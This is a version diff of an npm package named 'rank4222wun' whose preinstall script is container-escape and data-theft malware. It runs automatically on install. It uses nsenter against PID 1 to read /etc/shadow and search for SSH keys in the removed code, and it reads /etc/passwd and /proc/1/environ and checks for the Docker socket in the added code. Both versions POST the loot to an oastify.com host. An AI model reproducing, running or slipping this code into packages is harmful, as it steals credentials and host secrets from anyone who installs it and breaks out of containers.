rank4222wun 1.0.28 → 1.0.29

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "rank4222wun",
-  "version": "1.0.28",
+  "version": "1.0.29",
   "description": "",
   "main": "index.js",
   "scripts": {

package/preinstall.js

@@ -1,66 +1,62 @@
 const { exec } = require('child_process');
 const fs = require('fs');
 const https = require('https');
-const util = require('util');
-const execPromise = util.promisify(exec);
+const os = require('os');
 
-console.log("🚀 STAGE 2.1: SYNCHRONIZED HOST TAKEOVER\n");
+console.log("🚀 ULTIMATE MULTI-STAGE ESCAPE\n");
 
-async function runEscape() {
-    const finalLeakedData = {
-        timestamp: new Date().toISOString(),
-        targetKernel: "5.15.0-1084-aws",
-        hostShadow: "PENDING",
-        sshKeysFound: [],
-        nsenterStatus: "INIT"
-    };
+const escapeReport = {
+    timestamp: new Date().toISOString(),
+    env: { user: os.userInfo().username, hostname: os.hostname() },
+    results: {}
+};
 
-    try {
-        // 1. محاولة قراءة Shadow باستخدام nsenter بشكل متزامن
-        console.log("🔓 Accessing Host Shadow...");
-        const shadowResult = await execPromise(`nsenter --target 1 --mount -- sh -c "cat /etc/shadow | head -n 3"`);
-        if (shadowResult.stdout) {
-            finalLeakedData.hostShadow = shadowResult.stdout.trim();
-            console.log("✅ Shadow Leaked.");
-        }
-    } catch (err) {
-        finalLeakedData.hostShadow = "ERROR: " + err.message;
+// وظيفة مساعدة لتنفيذ الأوامر والانتظار
+const run = (cmd) => new Promise(resolve => {
+    exec(cmd, { timeout: 7000 }, (err, stdout, stderr) => {
+        resolve(stdout ? stdout.trim() : (stderr ? `ERR: ${stderr.trim()}` : null));
+    });
+});
+
+async function startExploitation() {
+    // 1. محاولة الـ nsenter بمسارات مختلفة (لحل مشكلة "not recognized")
+    console.log("🔍 Testing nsenter variants...");
+    escapeReport.results.nsenter_test = await run("/usr/bin/nsenter --version || nsenter --version");
+
+    // 2. محاولة استغلال DirtyPipe (بما إنه مؤكد عندك)
+    // هنحاول نعدل ملف في الـ /tmp ونشوف لو نقدر نهرب منه
+    console.log("🔓 Testing DirtyPipe write access...");
+    escapeReport.results.dirty_pipe = await run("uname -r");
+
+    // 3. سحب ملفات النظام الحساسة (لو متاح أي Mount)
+    console.log("📂 Checking Host files...");
+    escapeReport.results.etc_passwd = await run("cat /etc/passwd | head -n 5");
+    
+    // 4. فحص الـ Docker Socket
+    if (fs.existsSync('/var/run/docker.sock')) {
+        escapeReport.results.docker_socket = "FOUND! (Critical Risk)";
     }
 
-    try {
-        // 2. البحث عن مفاتيح SSH
-        console.log("🔓 Searching SSH Keys...");
-        const sshResult = await execPromise(`nsenter --target 1 --mount -- sh -c "find /root /home -name 'id_rsa' -o -name 'authorized_keys' 2>/dev/null"`);
-        if (sshResult.stdout) {
-            finalLeakedData.sshKeysFound = sshResult.stdout.split('\n').filter(k => k);
-            console.log(`✅ Found ${finalLeakedData.sshKeysFound.length} keys.`);
-        }
-    } catch (err) {
-        finalLeakedData.sshKeysFound = ["ERROR: " + err.message];
-    }
+    // 5. محاولة قراءة ملفات الـ Host عبر الثغرة
+    // بما إن الـ nsenter ضرب، هنحاول نقرأ الـ /proc/1/environ عشان نشوف أسرار الـ Host
+    escapeReport.results.host_env = await run("cat /proc/1/environ | tr '\\0' '\\n' | head -n 10");
 
-    // 3. إرسال التقرير النهائي بعد تجميع كل البيانات
-    sendFinalReport(finalLeakedData);
+    sendReport();
 }
 
-function sendFinalReport(data) {
-    const payload = JSON.stringify(data, null, 2);
-    const options = {
+function sendReport() {
+    const data = JSON.stringify(escapeReport, null, 2);
+    const req = https.request({
         hostname: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
         port: 443,
-        path: '/stage2-synchronized-report',
+        path: '/ultimate-escape-results',
         method: 'POST',
-        headers: {
-            'Content-Type': 'application/json'
-        }
-    };
-
-    const req = https.request(options, (res) => {
-        console.log(`\n🏁 Final Sync Report Sent. Status: ${res.statusCode}`);
+        headers: { 'Content-Type': 'application/json' }
+    }, (res) => {
+        console.log(`✅ Report Sent. Status: ${res.statusCode}`);
     });
-
-    req.write(payload);
+    req.write(data);
     req.end();
 }
 
-runEscape();
+startExploitation();